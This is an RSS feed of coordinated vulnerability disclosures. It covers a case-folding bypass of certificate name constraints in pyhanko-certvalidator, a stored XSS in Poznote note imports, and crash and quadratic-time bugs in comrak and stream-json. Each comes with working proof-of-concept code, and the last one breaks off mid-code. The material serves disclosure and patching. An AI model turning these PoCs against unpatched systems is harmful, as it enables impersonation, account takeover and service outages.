<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Peng.ly Security</title>
    <link>https://security.peng.ly</link>
    <description>Vulnerabilities I found in open source projects, reported privately and fixed before they went public</description>
    <language>en-gb</language>
    <lastBuildDate>Sun, 29 Nov 2026 01:22:40 GMT</lastBuildDate>
    <atom:link href="https://security.peng.ly/feed.xml" rel="self" type="application/rss+xml" />
    <image>
      <url>https://security.peng.ly/apple-touch-icon.png</url>
      <title>Peng.ly Security</title>
      <link>https://security.peng.ly</link>
    </image>
    <item>
      <title>Name-constraint host matching is case-sensitive, bypassing excluded DNS and email subtrees</title>
      <link>https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass</guid>
      <pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate>
      <description>MatthiasValvekens/pyHanko: Writing a banned domain in capitals, like WWW.EXAMPLE.COM, gets a certificate past its CA&#39;s name constraints, so whoever holds it can impersonate that domain.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass#summary">Summary</a></h2>
<p><code>pyhanko-certvalidator</code> compares host names in X.509 name constraints case-sensitively. RFC 5280 §7.2 (dNSName) and §7.5 (the host part of rfc822Name), together with RFC 4343, require that comparison to fold ASCII case. The mismatch is fail-open in the excluded-subtrees direction: a certificate whose name sits inside an excluded subtree slips past the constraint when its letters are cased differently. A TLS client matches host names case-insensitively, so it will still honour the certificate the constraint was meant to keep out.</p>
<p>The matching lives in <code>name_trees.py</code>: <code>dns_tree_contains</code>, <code>host_tree_contains</code> and <code>email_tree_contains</code> compare labels with <code>==</code> and never normalise. <code>uri_tree_contains</code> inherits it through <code>host_tree_contains</code>. The same functions also miss the trailing-dot form (<code>example.com</code> vs <code>example.com.</code>), a second way to land inside an excluded subtree unnoticed.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass#proof-of-concept">Proof of concept</a></h2>
<p>Clean <code>pip install pyhanko-certvalidator==0.32.0 cryptography</code>, then run:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> asyncio</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> datetime</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> cryptography </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> x509</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> cryptography</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">x509</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">oid </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> NameOID</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> ExtendedKeyUsageOID</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> cryptography</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">hazmat</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">primitives </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> hashes</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> serialization</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> cryptography</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">hazmat</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">primitives</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">asymmetric </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> ec</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> asn1crypto </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> x509 </span><span style="color:var(--code-token-keyword)">as</span><span style="color:var(--code-foreground)"> ax</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-foreground)"> pyhanko_certvalidator </span><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> CertificateValidator</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> ValidationContext</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-foreground)">nb</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> na </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> (datetime</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">datetime</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-constant)">2023</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,tzinfo</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">datetime.timezone.utc),</span></span>
<span class="line"><span style="color:var(--code-foreground)">          datetime</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">datetime</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-constant)">2030</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,tzinfo</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">datetime.timezone.utc)</span><span style="color:var(--code-foreground)">)</span></span>
<span class="line"><span style="color:var(--code-foreground)">name </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-keyword)"> lambda</span><span style="color:var(--code-token-parameter)"> cn</span><span style="color:var(--code-foreground)">: x509</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">Name</span><span style="color:var(--code-token-punctuation)">([x509.</span><span style="color:var(--code-token-function)">NameAttribute</span><span style="color:var(--code-token-punctuation)">(NameOID.COMMON_NAME, cn)])</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-keyword)">def</span><span style="color:var(--code-token-function)"> issue</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-parameter)">subj</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-parameter)"> iss</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-parameter)"> sk</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-parameter)"> ik</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-parameter)"> ca</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-parameter)"> exts</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)">()):</span></span>
<span class="line"><span style="color:var(--code-foreground)">    b </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> (x509</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">CertificateBuilder</span><span style="color:var(--code-token-punctuation)">().</span><span style="color:var(--code-token-function)">subject_name</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-function)">name</span><span style="color:var(--code-token-punctuation)">(subj)).</span><span style="color:var(--code-token-function)">issuer_name</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-function)">name</span><span style="color:var(--code-token-punctuation)">(iss))</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">         .</span><span style="color:var(--code-token-function)">public_key</span><span style="color:var(--code-token-punctuation)">(sk.</span><span style="color:var(--code-token-function)">public_key</span><span style="color:var(--code-token-punctuation)">()).</span><span style="color:var(--code-token-function)">serial_number</span><span style="color:var(--code-token-punctuation)">(x509.</span><span style="color:var(--code-token-function)">random_serial_number</span><span style="color:var(--code-token-punctuation)">())</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">         .</span><span style="color:var(--code-token-function)">not_valid_before</span><span style="color:var(--code-token-punctuation)">(nb).</span><span style="color:var(--code-token-function)">not_valid_after</span><span style="color:var(--code-token-punctuation)">(na)</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">         .</span><span style="color:var(--code-token-function)">add_extension</span><span style="color:var(--code-token-punctuation)">(x509.</span><span style="color:var(--code-token-function)">BasicConstraints</span><span style="color:var(--code-token-punctuation)">(ca, </span><span style="color:var(--code-token-constant)">None</span><span style="color:var(--code-token-punctuation)">), </span><span style="color:var(--code-token-constant)">True</span><span style="color:var(--code-token-punctuation)">)</span><span style="color:var(--code-foreground)">)</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    for</span><span style="color:var(--code-foreground)"> e</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> c </span><span style="color:var(--code-token-keyword)">in</span><span style="color:var(--code-foreground)"> exts</span><span style="color:var(--code-token-punctuation)">:</span></span>
<span class="line"><span style="color:var(--code-foreground)">        b </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> b</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">add_extension</span><span style="color:var(--code-token-punctuation)">(e, c)</span></span>
<span class="line"><span style="color:var(--code-foreground)">    der </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> b</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">sign</span><span style="color:var(--code-token-punctuation)">(ik, hashes.</span><span style="color:var(--code-token-function)">SHA256</span><span style="color:var(--code-token-punctuation)">()).</span><span style="color:var(--code-token-function)">public_bytes</span><span style="color:var(--code-token-punctuation)">(serialization.Encoding.DER)</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    return</span><span style="color:var(--code-foreground)"> ax</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-foreground)">Certificate</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">load</span><span style="color:var(--code-token-punctuation)">(der)</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-foreground)">rk</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> ck</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> lk </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> (ec</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">generate_private_key</span><span style="color:var(--code-token-punctuation)">(ec.</span><span style="color:var(--code-token-function)">SECP256R1</span><span style="color:var(--code-token-punctuation)">())</span><span style="color:var(--code-token-keyword)"> for</span><span style="color:var(--code-foreground)"> _ </span><span style="color:var(--code-token-keyword)">in</span><span style="color:var(--code-token-function)"> range</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-constant)">3</span><span style="color:var(--code-token-punctuation)">)</span><span style="color:var(--code-foreground)">)</span></span>
<span class="line"><span style="color:var(--code-foreground)">root </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> issue</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"Root"</span><span style="color:var(--code-token-punctuation)">, </span><span style="color:var(--code-token-string-expression)">"Root"</span><span style="color:var(--code-token-punctuation)">, rk, rk, </span><span style="color:var(--code-token-constant)">True</span><span style="color:var(--code-token-punctuation)">)</span></span>
<span class="line"><span style="color:var(--code-token-comment)"># Sub CA is forbidden from issuing under example.com.</span></span>
<span class="line"><span style="color:var(--code-foreground)">excluded </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-foreground)"> x509</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">NameConstraints</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-constant)">None</span><span style="color:var(--code-token-punctuation)">, [x509.</span><span style="color:var(--code-token-function)">DNSName</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"example.com"</span><span style="color:var(--code-token-punctuation)">)])</span></span>
<span class="line"><span style="color:var(--code-foreground)">sub </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> issue</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"Sub CA"</span><span style="color:var(--code-token-punctuation)">, </span><span style="color:var(--code-token-string-expression)">"Root"</span><span style="color:var(--code-token-punctuation)">, ck, rk, </span><span style="color:var(--code-token-constant)">True</span><span style="color:var(--code-token-punctuation)">, [(excluded, </span><span style="color:var(--code-token-constant)">True</span><span style="color:var(--code-token-punctuation)">)])</span></span>
<span class="line"><span style="color:var(--code-token-comment)"># Leaf presents the excluded name in upper case.</span></span>
<span class="line"><span style="color:var(--code-foreground)">leaf </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> issue</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"Leaf"</span><span style="color:var(--code-token-punctuation)">, </span><span style="color:var(--code-token-string-expression)">"Sub CA"</span><span style="color:var(--code-token-punctuation)">, lk, ck, </span><span style="color:var(--code-token-constant)">False</span><span style="color:var(--code-token-punctuation)">, [</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">    (x509.</span><span style="color:var(--code-token-function)">SubjectAlternativeName</span><span style="color:var(--code-token-punctuation)">([x509.</span><span style="color:var(--code-token-function)">DNSName</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"WWW.EXAMPLE.COM"</span><span style="color:var(--code-token-punctuation)">)]), </span><span style="color:var(--code-token-constant)">False</span><span style="color:var(--code-token-punctuation)">),</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">    (x509.</span><span style="color:var(--code-token-function)">ExtendedKeyUsage</span><span style="color:var(--code-token-punctuation)">([ExtendedKeyUsageOID.SERVER_AUTH]), </span><span style="color:var(--code-token-constant)">False</span><span style="color:var(--code-token-punctuation)">)])</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-foreground)">ctx </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> ValidationContext</span><span style="color:var(--code-token-punctuation)">(trust_roots</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">[root], revocation_mode</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-string-expression)">"soft-fail"</span><span style="color:var(--code-token-punctuation)">,</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">                        moment</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">datetime.</span><span style="color:var(--code-token-function)">datetime</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-constant)">2024</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-token-punctuation)">,tzinfo</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">datetime.timezone.utc),</span></span>
<span class="line"><span style="color:var(--code-token-punctuation)">                        allow_fetching</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)">False</span><span style="color:var(--code-token-punctuation)">)</span></span>
<span class="line"><span style="color:var(--code-foreground)">v </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> CertificateValidator</span><span style="color:var(--code-token-punctuation)">(leaf, intermediate_certs</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">[sub], validation_context</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-punctuation)">ctx)</span></span>
<span class="line"><span style="color:var(--code-foreground)">asyncio</span><span style="color:var(--code-token-punctuation)">.</span><span style="color:var(--code-token-function)">run</span><span style="color:var(--code-token-punctuation)">(v.</span><span style="color:var(--code-token-function)">async_validate_path</span><span style="color:var(--code-token-punctuation)">())</span></span>
<span class="line"><span style="color:var(--code-token-function)">print</span><span style="color:var(--code-token-punctuation)">(</span><span style="color:var(--code-token-string-expression)">"accepted:"</span><span style="color:var(--code-token-punctuation)">, </span><span style="color:var(--code-token-string-expression)">"WWW.EXAMPLE.COM validated under a CA that excludes example.com"</span><span style="color:var(--code-token-punctuation)">)</span></span></code></pre>
<p>The lower-case <code>www.example.com</code> is correctly rejected; only the cased form gets through. <code>user@EXAMPLE.COM</code> past an excluded rfc822 <code>example.com</code> behaves the same way.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass#impact">Impact</a></h2>
<p>Where a relying party uses excluded name constraints as a trust boundary (for example, a cross-signed or externally run sub-CA that must not issue for certain domains), the holder of a certificate under that CA can defeat the exclusion by changing the case of the name. The certificate is then accepted for a name the constraint was meant to deny, which enables impersonation of that name against anyone validating through this library.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass#caveat">Caveat</a></h2>
<p>This is the excluded-subtrees direction only. In the permitted direction the same case-sensitivity fails closed: it over-rejects a legitimately cased name rather than admitting an out-of-namespace one, so it is not exploitable there. The finding needs a chain that actually carries excluded name constraints and an attacker able to obtain a certificate under the constrained CA; it is not a flaw reachable on an arbitrary chain. Fix is to fold ASCII case (and strip a trailing root label) on both sides before comparing, per RFC 5280 §7.</p>]]></content:encoded>
      <category>CWE-295: Improper Certificate Validation</category>
      <enclosure url="https://security.peng.ly/og/pyhanko-name-constraints-case-bypass.png" type="image/png" length="85877" />
    </item>
    <item>
      <title>Stored XSS on imported notes</title>
      <link>https://security.peng.ly/reports/poznote-imported-notes-stored-xss</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/poznote-imported-notes-stored-xss</guid>
      <pubDate>Wed, 09 Sep 2026 00:00:00 GMT</pubDate>
      <description>timothepoznanski/Poznote: An imported or Git-synced note can run its own JavaScript as you the next time Poznote opens, without a click, and if you&#39;re an admin that means the whole instance.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#summary">Summary</a></h2>
<p>Poznote doesn't clean JavaScript out of imported note HTML. This affects individual and ZIP imports, Git pulls and full backup restores. When you're logged in, the app displays that HTML directly. Its default screen opens the most recently updated note, so an imported payload can run on the next app load. You don't need to click the note.</p>
<p>An attacker needs you to import their file or pull it from a shared Git repository. They don't need a Poznote account. Automatic Git pulls still need your normal per-session sync approval.</p>
<hr>
<h2 id="poc"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#poc">PoC</a></h2>
<h3 id="1-save-some-bad-html"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#1-save-some-bad-html">1. Save some bad HTML:</a></h3>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-foreground)">&#x3C;</span><span style="color:var(--code-token-string-expression)">html</span><span style="color:var(--code-foreground)">></span></span>
<span class="line"><span style="color:var(--code-foreground)">  &#x3C;</span><span style="color:var(--code-token-string-expression)">body</span><span style="color:var(--code-foreground)">></span></span>
<span class="line"><span style="color:var(--code-foreground)">    &#x3C;</span><span style="color:var(--code-token-string-expression)">img</span><span style="color:var(--code-token-function)"> src</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-string-expression)">"x"</span><span style="color:var(--code-token-function)"> onerror</span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-string-expression)">"</span><span style="color:var(--code-token-function)">alert</span><span style="color:var(--code-token-string-expression)">('Stored XSS')"</span><span style="color:var(--code-foreground)">></span></span>
<span class="line"><span style="color:var(--code-foreground)">  &#x3C;/</span><span style="color:var(--code-token-string-expression)">body</span><span style="color:var(--code-foreground)">></span></span>
<span class="line"><span style="color:var(--code-foreground)">&#x3C;/</span><span style="color:var(--code-token-string-expression)">html</span><span style="color:var(--code-foreground)">></span></span></code></pre>
<h3 id="2-import"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#2-import">2. Import</a></h3>
<p>Go to Settings --> Import --> import individual notes and upload it.</p>
<h3 id="3-reload-poznote"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#3-reload-poznote">3. Reload Poznote</a></h3>
<p>If the imported note is the newest, it opens and runs the alert.</p>
<hr>
<h2 id="impact"><a href="https://security.peng.ly/reports/poznote-imported-notes-stored-xss#impact">Impact</a></h2>
<p>If you're an admin, one imported or synced note can compromise the whole instance on your next visit, without a click. The payload can read, change or delete every user's notes and attachments, create another admin, reset passwords and change instance settings. There's no separate password check. That access can survive removal of the note. Git sync or webhooks can keep sending data to the attacker.</p>
<p>The script uses your logged-in session. An HttpOnly cookie doesn't stop it - the browser includes it in API requests automatically. The CSP allows inline handlers and HTTPS image beacons. The payload can also create public share links and leak their short tokens, letting the attacker download full notes and attachments outside the CSP, without a beacon's size limit.</p>
<p>It can run again whenever the note auto-opens and copy itself into other notes, so deleting one note may not stop it. If you aren't an admin, the damage is limited to everything your account can access, including your notes, attachments and shares, plus account takeover.</p>]]></content:encoded>
      <category>CWE-79: Improper Neutralization of Input During Web Page Generation (&#39;Cross-site Scripting&#39;)</category>
      <enclosure url="https://security.peng.ly/og/poznote-imported-notes-stored-xss.png" type="image/png" length="69636" />
    </item>
    <item>
      <title>GFM autolink extension can crash the process or hang it on small untrusted Markdown</title>
      <link>https://security.peng.ly/reports/comrak-autolink-crash-and-hang</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/comrak-autolink-crash-and-hang</guid>
      <pubDate>Sun, 06 Sep 2026 00:00:00 GMT</pubDate>
      <description>kivikakk/comrak: With the autolink extension on, a paragraph of email addresses can blow the stack and kill the whole process, and a link ending in lots of closing brackets hangs it.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/comrak-autolink-crash-and-hang#summary">Summary</a></h2>
<p>With the GFM <code>autolink</code> extension enabled, two paths in <code>src/parser/autolink.rs</code> scale badly on ordinary untrusted Markdown. One overflows the stack and aborts the whole process, the other is quadratic in CPU. The extension is off in comrak's bare defaults but on in the usual GFM/GitHub-style setup, including the <code>commonmarker</code> gem, so both are reachable wherever comrak renders user-submitted Markdown.</p>
<h2 id="email-autolinking-recurses-without-a-depth-limit"><a href="https://security.peng.ly/reports/comrak-autolink-crash-and-hang#email-autolinking-recurses-without-a-depth-limit">Email autolinking recurses without a depth limit</a></h2>
<p><code>process_email_autolinks</code> (autolink.rs:12) matches the first email in the text, copies everything after it into a new node with <code>remain.to_string()</code>, then calls itself on that remainder (autolink.rs:102). A paragraph of N bare emails recurses N deep. cmark-gfm does the same work in a loop, so it doesn't have this problem.</p>
<p>A Rust stack overflow is an abort, not a catchable panic, so this kills the process. The threshold depends on stack size: about 30,000 emails (~210 KB) on the default 8 MB main thread, but only about 2,000 (~14 KB) on a 512 KB worker thread of the kind a server pool uses.</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">use</span><span style="color:var(--code-foreground)"> comrak</span><span style="color:var(--code-token-keyword)">::</span><span style="color:var(--code-foreground)">{markdown_to_html, </span><span style="color:var(--code-token-function)">Options</span><span style="color:var(--code-foreground)">};</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-keyword)">fn</span><span style="color:var(--code-token-function)"> main</span><span style="color:var(--code-foreground)">() {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    let</span><span style="color:var(--code-foreground)"> md </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-string-expression)"> "a@b.co "</span><span style="color:var(--code-token-keyword)">.</span><span style="color:var(--code-token-function)">repeat</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">30_000</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    let</span><span style="color:var(--code-token-keyword)"> mut</span><span style="color:var(--code-foreground)"> o </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-function)"> Options</span><span style="color:var(--code-token-keyword)">::</span><span style="color:var(--code-token-function)">default</span><span style="color:var(--code-foreground)">();</span></span>
<span class="line"><span style="color:var(--code-foreground)">    o</span><span style="color:var(--code-token-keyword)">.</span><span style="color:var(--code-foreground)">extension</span><span style="color:var(--code-token-keyword)">.</span><span style="color:var(--code-foreground)">autolink </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> true</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-function)">    markdown_to_html</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-keyword)">&#x26;</span><span style="color:var(--code-foreground)">md, </span><span style="color:var(--code-token-keyword)">&#x26;</span><span style="color:var(--code-foreground)">o);   </span><span style="color:var(--code-token-comment)">// thread has overflowed its stack -> SIGABRT</span></span>
<span class="line"><span style="color:var(--code-foreground)">}</span></span></code></pre>
<p>The per-level copy also makes it quadratic in time on the way to the crash.</p>
<h2 id="trailing-parens-are-quadratic"><a href="https://security.peng.ly/reports/comrak-autolink-crash-and-hang#trailing-parens-are-quadratic">Trailing parens are quadratic</a></h2>
<p><code>autolink_delim</code> (autolink.rs:310) strips trailing punctuation off a detected URL. For every trailing <code>)</code> it recounts every parenthesis in the link from the start (the loop at autolink.rs:360), then drops one byte and repeats, so N trailing <code>)</code> cost O(N^2).</p>
<p>Input is <code>"http://a.b" + ")".repeat(n)</code>. Release build, <code>autolink = true</code>: 64 KB = 0.9s, 128 KB = 3.4s, 256 KB = 13.6s, a clean 4x per doubling. The same URL with trailing <code>.</code> stays linear, which isolates the paren branch. <code>www.</code> links hit the same code.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/comrak-autolink-crash-and-hang#impact">Impact</a></h2>
<p>Availability only. Any endpoint rendering untrusted Markdown with autolink on can be crashed outright, or pinned single-threaded, by well under a megabyte. The crash is the worse of the two, since the caller can't catch it.</p>]]></content:encoded>
      <category>CWE-407: Inefficient Algorithmic Complexity</category><category>CWE-674: Uncontrolled Recursion</category>
      <enclosure url="https://security.peng.ly/og/comrak-autolink-crash-and-hang.png" type="image/png" length="86401" />
    </item>
    <item>
      <title>JSONC parser and verifier re-scan the whole accumulated comment on every input chunk, so a large block or line comment delivered across chunks costs O(n^2) CPU and stalls the event loop (remote unauthenticated DoS)</title>
      <link>https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos</guid>
      <pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate>
      <description>uhop/stream-json: If an app parses untrusted JSONC, a big comment sent in small chunks gets re-scanned from the start on every chunk, so a few MB blocks the event loop for over 10 seconds.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos#summary">Summary</a></h2>
<p>The JSONC parser (<code>stream-json/jsonc/parser.js</code>) and verifier (<code>stream-json/jsonc/verifier.js</code>) scan a comment for its terminator starting from the comment's opening <code>/</code> on every input chunk. When a comment doesn't finish inside the current buffer, the scanner returns the comment's start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n²) CPU.</p>
<p>This is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It's a different code path though (the comment scanner in <code>handleComment</code>, which the 3.5.0 depth cap doesn't touch), so upgrading past that advisory doesn't help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos#proof-of-concept">Proof of concept</a></h2>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-function)">npm</span><span style="color:var(--code-token-string)"> i</span><span style="color:var(--code-token-string)"> stream-json@3.5.0</span></span></code></pre>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> Parser </span><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-token-string-expression)"> 'stream-json/jsonc/parser.js'</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-keyword)">function</span><span style="color:var(--code-token-function)"> feed</span><span style="color:var(--code-foreground)">(N) {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  return</span><span style="color:var(--code-token-keyword)"> new</span><span style="color:var(--code-token-constant)"> Promise</span><span style="color:var(--code-foreground)">(resolve </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    const</span><span style="color:var(--code-token-constant)"> stream</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> Parser</span><span style="color:var(--code-token-function)">.asStream</span><span style="color:var(--code-foreground)">();            </span><span style="color:var(--code-token-comment)">// default options</span></span>
